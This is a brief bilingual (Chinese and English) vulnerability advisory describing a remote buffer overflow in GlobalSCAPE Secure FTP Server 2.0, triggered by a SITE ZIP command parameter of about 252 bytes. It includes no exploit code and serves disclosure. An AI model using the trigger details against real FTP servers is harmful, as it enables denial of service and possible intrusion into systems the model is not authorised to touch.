GlobalSCAPESecureFTPServer是一款安全加强的FTP服务程序。GlobalSCAPESecureFTPServer对SITE命令参数缺少充分的边界检查，远程攻击者可以利用这个漏洞进行缓冲区溢出攻击，可使服务程序崩溃或执行任意指令。如提交包含超过252字节参数的SITEZIP命令，即使FTP服务程序不支持SITEZIP命令，也可触发缓冲区溢出，精心构建提交数据可能以进程权限在系统上执行任意指令。

It has been reported that Secure FTP Server may be prone to a remote buffer overflow vulnerability that may allow attackers to execute arbitrary code on a vulnerable system in order to gain unauthorized access. An attacker may cause the buffer overflow condition to occur by sending about 252 bytes of data via a parameter of the SITE Command. Immediate consequences of an attack may result in a denial of service condition. The possibility of remote code execution has not been confirmed at the moment.

Secure FTP Server version 2.0 Build 03.11.2004.2 has been reported to prone to this issue.
